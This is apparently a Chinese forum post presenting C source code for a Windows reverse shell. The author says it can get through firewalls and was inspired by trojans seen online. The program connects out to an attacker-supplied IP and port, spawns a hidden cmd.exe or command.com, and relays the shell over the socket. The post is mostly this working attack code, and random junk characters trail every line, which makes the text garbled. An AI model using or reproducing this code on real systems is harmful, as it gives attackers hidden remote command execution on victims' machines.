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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 = hL;Q@inb  
%k3A`ClW  
/* ============================== &6deds  
Rebound port in Windows NT vLCyT=OB`  
By wind,2006/7 ,6@s N'c  
===============================*/ wGy`0c]v?  
#include K@U[x,Sx  
#include \USl 9*E  
7n}$|h5D  
#pragma comment(lib,"wsock32.lib") lrQNl^K}=  
?gYQE&M !  
void OutputShell(); 'vCl@x$  
SOCKET sClient; = j)5kY`  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; [/E|n[Bx  
\D6 7J239E  
void main(int argc,char **argv) l5P!9P  
{ <UsFBF  
WSADATA stWsaData; &l M=>?  
int nRet; U</Vcz  
SOCKADDR_IN stSaiClient,stSaiServer; `-Y8T\  
\*yH33B9  
if(argc != 3) HD%n'@E  
{ }IJE%  
printf("Useage:\n\rRebound DestIP DestPort\n"); yrvV<}  
return; o{]2W `0r  
} Y[sBVz'j5  
[Z]%jABR  
WSAStartup(MAKEWORD(2,2),&stWsaData); -<0xS.^  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 10}< n_I  
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stSaiClient.sin_family = AF_INET; tEuVn5  
stSaiClient.sin_port = htons(0); uE &/:+  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); H^ds<I<)  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) NdxPC~Z+  
{ 6K7DZ96L  
printf("Bind Socket Failed!\n"); pG&#xRk  
return; K&4FFZ  
} Wr+/ 9  
V |cPAT%  
stSaiServer.sin_family = AF_INET; z"%{SI^  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); zu_bno!  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _9f7@@b  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) D/)E[Fv+  
{ E[NszM[P  
printf("Connect Error!"); *q-VY[2  
return; >q&X#E<w  
} D]=V6l=  
OutputShell(); b9R0"w!ml  
} PRal>s&f  
j82x$I*  
void OutputShell() YQ|o0>  
{ R :*1Y\o(  
char szBuff[1024]; g|Tkl  
SECURITY_ATTRIBUTES stSecurityAttributes; */'j[uj  
OSVERSIONINFO stOsversionInfo; FFtB#  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ZHM NG~!  
STARTUPINFO stStartupInfo; )k[{re  
char *szShell; Xl,707  
PROCESS_INFORMATION stProcessInformation; %`bn=~T^  
unsigned long lBytesRead; +v+Dkyf:V  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2WUl8?f2Y  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); )vD:  
stSecurityAttributes.lpSecurityDescriptor = 0; i~"lcgoO  
stSecurityAttributes.bInheritHandle = TRUE; vd9PBN  
a)S{9q}%  
Cy\ o{6  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \_)[FC@  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); M{t/B-'4  
:z-?L0C=0  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); fl8eNi E|  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uCx6/ n6'  
stStartupInfo.wShowWindow = SW_HIDE; 7Y.mp9,  
stStartupInfo.hStdInput = hReadPipe; 'YB{W8bR  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Df@b;-E  
m1D,#=C,_  
GetVersionEx(&stOsversionInfo); OUhlQq\  
tISb' ^T  
switch(stOsversionInfo.dwPlatformId) Nd He::  
{ s|][p|  
case 1: d(YAH@  
szShell = "command.com"; (qw;-A W8  
break; U!jRF  
default:  eIj2(q9  
szShell = "cmd.exe"; ]+5Y\~I  
break; l0PXU)>C  
} ,&iEn}xG7i  
/b]+RXvxj  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #y8Esik  
|JiN; O+K  
send(sClient,szMsg,77,0); j9/hZqo  
while(1) siOyp ]  
{ KwY6pF*  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8/@*6J  
if(lBytesRead) P N(<=v&E  
{ JMfv|>=  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); oXQI"?^+  
send(sClient,szBuff,lBytesRead,0); Et'&}NjI  
} \I7&F82e  
else *QT7\ht3  
{ t(99m=9>  
lBytesRead=recv(sClient,szBuff,1024,0); 19bqz )  
if(lBytesRead<=0) break; by$S#e f  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); S;SI#Vg@  
} !KtP> `8  
} /~{ fPS  
xB_7 8X1  
return; S]ed96V v  
}
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